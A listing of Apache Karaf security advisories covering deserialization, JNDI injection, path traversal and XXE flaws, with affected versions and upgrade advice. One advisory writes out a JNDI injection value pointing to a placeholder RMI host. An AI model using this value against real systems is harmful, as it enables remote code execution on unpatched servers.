Apache Karaf

Deserialization of Untrusted Data vulnerability in Apache Karaf Decanter. The Decanter log socket collector exposes the port 4560, without authentication. If the collector exposes allowed classes property, this configuration can be bypassed. It means that the log socket collector is vulnerable to deserialization of untrusted data, eventually causing DoS. NB: Decanter log socket collector is not installed by default. Users who have not installed Decanter log socket are not impacted by this issue. This issue affects Apache Karaf Decanter before 2.12.0. Users are recommended to upgrade to version 2.12.0, which fixes the issue.

Published: 2026-01-26T09:41:24.356Z
Updated: 2026-01-26T18:35:51.514Z

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

Published: 2022-12-21T15:23:42.847Z
Updated: 2025-04-15T18:03:47.618Z

Apache Karaf obr:* commands and run goal on the karaf-maven-plugin have partial path traversal which allows to break out of expected folder. The risk is low as obr:* commands are not very used and the entry is set by user. This has been fixed in revision: https://gitbox.apache.org/repos/asf?p=karaf.git;h=36a2bc4 https://gitbox.apache.org/repos/asf?p=karaf.git;h=52b70cf Mitigation: Apache Karaf users should upgrade to 4.2.15 or 4.3.6 or later as soon as possible, or use correct path. JIRA Tickets: https://issues.apache.org/jira/browse/KARAF-7326

Published: 2022-01-26T11:10:12.000Z
Updated: 2024-08-03T03:28:42.479Z

Apache Karaf allows monitoring of applications and the Java runtime by using the Java Management Extensions (JMX). JMX is a Java RMI based technology that relies on Java serialized objects for client server communication. Whereas the default JMX implementation is hardened against unauthenticated deserialization attacks, the implementation used by Apache Karaf is not protected against this kind of attack. The impact of Java deserialization vulnerabilities strongly depends on the classes that are available within the targets class path. Generally speaking, deserialization of untrusted data does always represent a high security risk and should be prevented. The risk is low as, by default, Karaf uses a limited set of classes in the JMX server class path. It depends of system scoped classes (e.g. jar in the lib folder).

Published: 2022-01-26T11:10:11.000Z
Updated: 2024-08-04T03:15:29.312Z

Apache Karaf provides a features deployer, which allows users to "hot deploy" a features XML by dropping the file directly in the deploy folder. The features XML is parsed by XMLInputFactory class. Apache Karaf XMLInputFactory class doesn't contain any mitigation codes against XXE. This is a potential security risk as an user can inject external XML entities in Apache Karaf version prior to 4.1.7 or 4.2.2. It has been fixed in Apache Karaf 4.1.7 and 4.2.2 releases.

Published: 2019-01-07T16:00:00.000Z
Updated: 2024-08-05T08:17:09.240Z